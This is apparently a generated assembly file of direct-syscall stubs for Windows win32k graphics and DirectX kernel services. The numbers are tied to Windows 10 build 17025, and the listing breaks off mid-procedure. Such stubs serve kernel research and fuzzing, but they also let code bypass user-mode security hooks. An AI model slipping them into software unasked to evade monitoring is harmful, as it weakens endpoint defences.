; ULONG64 __stdcall NtGdiCreateHatchBrushInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateHatchBrushInternal PROC STDCALL
mov r10 , rcx
mov eax , 4482
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateHatchBrushInternal ENDP
; ULONG64 __stdcall NtGdiCreateMetafileDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateMetafileDC PROC STDCALL
mov r10 , rcx
mov eax , 4483
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateMetafileDC ENDP
; ULONG64 __stdcall NtGdiCreateOPMProtectedOutput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateOPMProtectedOutput PROC STDCALL
mov r10 , rcx
mov eax , 4484
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateOPMProtectedOutput ENDP
; ULONG64 __stdcall NtGdiCreateOPMProtectedOutputs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateOPMProtectedOutputs PROC STDCALL
mov r10 , rcx
mov eax , 4485
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateOPMProtectedOutputs ENDP
; ULONG64 __stdcall NtGdiCreateRoundRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateRoundRectRgn PROC STDCALL
mov r10 , rcx
mov eax , 4486
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateRoundRectRgn ENDP
; ULONG64 __stdcall NtGdiCreateServerMetaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateServerMetaFile PROC STDCALL
mov r10 , rcx
mov eax , 4487
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateServerMetaFile ENDP
; ULONG64 __stdcall NtGdiCreateSessionMappedDIBSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateSessionMappedDIBSection PROC STDCALL
mov r10 , rcx
mov eax , 4488
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateSessionMappedDIBSection ENDP
; ULONG64 __stdcall NtGdiDDCCIGetCapabilitiesString( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetCapabilitiesString PROC STDCALL
mov r10 , rcx
mov eax , 4489
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetCapabilitiesString ENDP
; ULONG64 __stdcall NtGdiDDCCIGetCapabilitiesStringLength( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetCapabilitiesStringLength PROC STDCALL
mov r10 , rcx
mov eax , 4490
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetCapabilitiesStringLength ENDP
; ULONG64 __stdcall NtGdiDDCCIGetTimingReport( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetTimingReport PROC STDCALL
mov r10 , rcx
mov eax , 4491
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetTimingReport ENDP
; ULONG64 __stdcall NtGdiDDCCIGetVCPFeature( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetVCPFeature PROC STDCALL
mov r10 , rcx
mov eax , 4492
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCIGetVCPFeature ENDP
; ULONG64 __stdcall NtGdiDDCCISaveCurrentSettings( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCISaveCurrentSettings PROC STDCALL
mov r10 , rcx
mov eax , 4493
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCISaveCurrentSettings ENDP
; ULONG64 __stdcall NtGdiDDCCISetVCPFeature( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCISetVCPFeature PROC STDCALL
mov r10 , rcx
mov eax , 4494
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDDCCISetVCPFeature ENDP
; ULONG64 __stdcall NtGdiDdCreateFullscreenSprite( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdCreateFullscreenSprite PROC STDCALL
mov r10 , rcx
mov eax , 4495
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdCreateFullscreenSprite ENDP
; ULONG64 __stdcall NtGdiDdDDIAbandonSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAbandonSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4496
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAbandonSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIAcquireKeyedMutex( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireKeyedMutex PROC STDCALL
mov r10 , rcx
mov eax , 4497
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireKeyedMutex ENDP
; ULONG64 __stdcall NtGdiDdDDIAcquireKeyedMutex2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireKeyedMutex2 PROC STDCALL
mov r10 , rcx
mov eax , 4498
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireKeyedMutex2 ENDP
; ULONG64 __stdcall NtGdiDdDDIAcquireSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4499
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAcquireSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIAddSurfaceToSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAddSurfaceToSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4500
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAddSurfaceToSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIAdjustFullscreenGamma( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAdjustFullscreenGamma PROC STDCALL
mov r10 , rcx
mov eax , 4501
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIAdjustFullscreenGamma ENDP
; ULONG64 __stdcall NtGdiDdDDICacheHybridQueryValue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICacheHybridQueryValue PROC STDCALL
mov r10 , rcx
mov eax , 4502
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICacheHybridQueryValue ENDP
; ULONG64 __stdcall NtGdiDdDDIChangeVideoMemoryReservation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIChangeVideoMemoryReservation PROC STDCALL
mov r10 , rcx
mov eax , 4503
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIChangeVideoMemoryReservation ENDP
; ULONG64 __stdcall NtGdiDdDDICheckExclusiveOwnership( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckExclusiveOwnership PROC STDCALL
mov r10 , rcx
mov eax , 4504
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckExclusiveOwnership ENDP
; ULONG64 __stdcall NtGdiDdDDICheckMonitorPowerState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMonitorPowerState PROC STDCALL
mov r10 , rcx
mov eax , 4505
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMonitorPowerState ENDP
; ULONG64 __stdcall NtGdiDdDDICheckMultiPlaneOverlaySupport( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport PROC STDCALL
mov r10 , rcx
mov eax , 4506
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport ENDP
; ULONG64 __stdcall NtGdiDdDDICheckMultiPlaneOverlaySupport2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport2 PROC STDCALL
mov r10 , rcx
mov eax , 4507
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport2 ENDP
; ULONG64 __stdcall NtGdiDdDDICheckMultiPlaneOverlaySupport3( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport3 PROC STDCALL
mov r10 , rcx
mov eax , 4508
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckMultiPlaneOverlaySupport3 ENDP
; ULONG64 __stdcall NtGdiDdDDICheckOcclusion( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckOcclusion PROC STDCALL
mov r10 , rcx
mov eax , 4509
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckOcclusion ENDP
; ULONG64 __stdcall NtGdiDdDDICheckSharedResourceAccess( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckSharedResourceAccess PROC STDCALL
mov r10 , rcx
mov eax , 4510
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckSharedResourceAccess ENDP
; ULONG64 __stdcall NtGdiDdDDICheckVidPnExclusiveOwnership( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckVidPnExclusiveOwnership PROC STDCALL
mov r10 , rcx
mov eax , 4511
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICheckVidPnExclusiveOwnership ENDP
; ULONG64 __stdcall NtGdiDdDDICloseAdapter( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICloseAdapter PROC STDCALL
mov r10 , rcx
mov eax , 4512
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICloseAdapter ENDP
; ULONG64 __stdcall NtGdiDdDDIConfigureSharedResource( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIConfigureSharedResource PROC STDCALL
mov r10 , rcx
mov eax , 4513
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIConfigureSharedResource ENDP
; ULONG64 __stdcall NtGdiDdDDICreateAllocation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateAllocation PROC STDCALL
mov r10 , rcx
mov eax , 4514
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateAllocation ENDP
; ULONG64 __stdcall NtGdiDdDDICreateBundleObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateBundleObject PROC STDCALL
mov r10 , rcx
mov eax , 4515
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateBundleObject ENDP
; ULONG64 __stdcall NtGdiDdDDICreateContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateContext PROC STDCALL
mov r10 , rcx
mov eax , 4516
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateContext ENDP
; ULONG64 __stdcall NtGdiDdDDICreateContextVirtual( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateContextVirtual PROC STDCALL
mov r10 , rcx
mov eax , 4517
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateContextVirtual ENDP
; ULONG64 __stdcall NtGdiDdDDICreateDCFromMemory( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateDCFromMemory PROC STDCALL
mov r10 , rcx
mov eax , 4518
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateDCFromMemory ENDP
; ULONG64 __stdcall NtGdiDdDDICreateDevice( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateDevice PROC STDCALL
mov r10 , rcx
mov eax , 4519
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateDevice ENDP
; ULONG64 __stdcall NtGdiDdDDICreateHwContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateHwContext PROC STDCALL
mov r10 , rcx
mov eax , 4520
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateHwContext ENDP
; ULONG64 __stdcall NtGdiDdDDICreateHwQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateHwQueue PROC STDCALL
mov r10 , rcx
mov eax , 4521
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateHwQueue ENDP
; ULONG64 __stdcall NtGdiDdDDICreateKeyedMutex( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateKeyedMutex PROC STDCALL
mov r10 , rcx
mov eax , 4522
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateKeyedMutex ENDP
; ULONG64 __stdcall NtGdiDdDDICreateKeyedMutex2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateKeyedMutex2 PROC STDCALL
mov r10 , rcx
mov eax , 4523
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateKeyedMutex2 ENDP
; ULONG64 __stdcall NtGdiDdDDICreateOutputDupl( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateOutputDupl PROC STDCALL
mov r10 , rcx
mov eax , 4524
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateOutputDupl ENDP
; ULONG64 __stdcall NtGdiDdDDICreateOverlay( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateOverlay PROC STDCALL
mov r10 , rcx
mov eax , 4525
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateOverlay ENDP
; ULONG64 __stdcall NtGdiDdDDICreatePagingQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreatePagingQueue PROC STDCALL
mov r10 , rcx
mov eax , 4526
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreatePagingQueue ENDP
; ULONG64 __stdcall NtGdiDdDDICreateProtectedSession( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateProtectedSession PROC STDCALL
mov r10 , rcx
mov eax , 4527
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateProtectedSession ENDP
; ULONG64 __stdcall NtGdiDdDDICreateSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4528
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDICreateSynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4529
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDICreateSynchronizationObject ENDP
; ULONG64 __stdcall NtGdiDdDDIDDisplayEnum( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDDisplayEnum PROC STDCALL
mov r10 , rcx
mov eax , 4530
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDDisplayEnum ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyAllocation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyAllocation PROC STDCALL
mov r10 , rcx
mov eax , 4531
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyAllocation ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyAllocation2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyAllocation2 PROC STDCALL
mov r10 , rcx
mov eax , 4532
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyAllocation2 ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyContext PROC STDCALL
mov r10 , rcx
mov eax , 4533
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyContext ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyDCFromMemory( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyDCFromMemory PROC STDCALL
mov r10 , rcx
mov eax , 4534
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyDCFromMemory ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyDevice( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyDevice PROC STDCALL
mov r10 , rcx
mov eax , 4535
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyDevice ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyHwContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyHwContext PROC STDCALL
mov r10 , rcx
mov eax , 4536
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyHwContext ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyHwQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyHwQueue PROC STDCALL
mov r10 , rcx
mov eax , 4537
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyHwQueue ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyKeyedMutex( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyKeyedMutex PROC STDCALL
mov r10 , rcx
mov eax , 4538
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyKeyedMutex ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyOutputDupl( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyOutputDupl PROC STDCALL
mov r10 , rcx
mov eax , 4539
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyOutputDupl ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyOverlay( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyOverlay PROC STDCALL
mov r10 , rcx
mov eax , 4540
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyOverlay ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyPagingQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyPagingQueue PROC STDCALL
mov r10 , rcx
mov eax , 4541
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyPagingQueue ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroyProtectedSession( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyProtectedSession PROC STDCALL
mov r10 , rcx
mov eax , 4542
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroyProtectedSession ENDP
; ULONG64 __stdcall NtGdiDdDDIDestroySynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroySynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4543
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDestroySynchronizationObject ENDP
; ULONG64 __stdcall NtGdiDdDDIDispMgrCreate( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrCreate PROC STDCALL
mov r10 , rcx
mov eax , 4544
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrCreate ENDP
; ULONG64 __stdcall NtGdiDdDDIDispMgrSourceOperation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrSourceOperation PROC STDCALL
mov r10 , rcx
mov eax , 4545
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrSourceOperation ENDP
; ULONG64 __stdcall NtGdiDdDDIDispMgrTargetOperation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrTargetOperation PROC STDCALL
mov r10 , rcx
mov eax , 4546
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIDispMgrTargetOperation ENDP
; ULONG64 __stdcall NtGdiDdDDIEnumAdapters( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEnumAdapters PROC STDCALL
mov r10 , rcx
mov eax , 4547
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEnumAdapters ENDP
; ULONG64 __stdcall NtGdiDdDDIEnumAdapters2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEnumAdapters2 PROC STDCALL
mov r10 , rcx
mov eax , 4548
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEnumAdapters2 ENDP
; ULONG64 __stdcall NtGdiDdDDIEscape( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEscape PROC STDCALL
mov r10 , rcx
mov eax , 4549
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEscape ENDP
; ULONG64 __stdcall NtGdiDdDDIEvict( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEvict PROC STDCALL
mov r10 , rcx
mov eax , 4550
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIEvict ENDP
; ULONG64 __stdcall NtGdiDdDDIExtractBundleObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIExtractBundleObject PROC STDCALL
mov r10 , rcx
mov eax , 4551
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIExtractBundleObject ENDP
; ULONG64 __stdcall NtGdiDdDDIFlipOverlay( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFlipOverlay PROC STDCALL
mov r10 , rcx
mov eax , 4552
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFlipOverlay ENDP
; ULONG64 __stdcall NtGdiDdDDIFlushHeapTransitions( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFlushHeapTransitions PROC STDCALL
mov r10 , rcx
mov eax , 4553
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFlushHeapTransitions ENDP
; ULONG64 __stdcall NtGdiDdDDIFreeGpuVirtualAddress( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFreeGpuVirtualAddress PROC STDCALL
mov r10 , rcx
mov eax , 4554
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIFreeGpuVirtualAddress ENDP
; ULONG64 __stdcall NtGdiDdDDIGetAllocationPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetAllocationPriority PROC STDCALL
mov r10 , rcx
mov eax , 4555
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetAllocationPriority ENDP
; ULONG64 __stdcall NtGdiDdDDIGetCachedHybridQueryValue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetCachedHybridQueryValue PROC STDCALL
mov r10 , rcx
mov eax , 4556
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetCachedHybridQueryValue ENDP
; ULONG64 __stdcall NtGdiDdDDIGetContextInProcessSchedulingPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetContextInProcessSchedulingPriority PROC STDCALL
mov r10 , rcx
mov eax , 4557
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetContextInProcessSchedulingPriority ENDP
; ULONG64 __stdcall NtGdiDdDDIGetContextSchedulingPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIGetContextSchedulingPriority PROC STDCALL
mov r10 , rcx
mov eax , 4558
;syscall
db 0Fh , 05h
ret
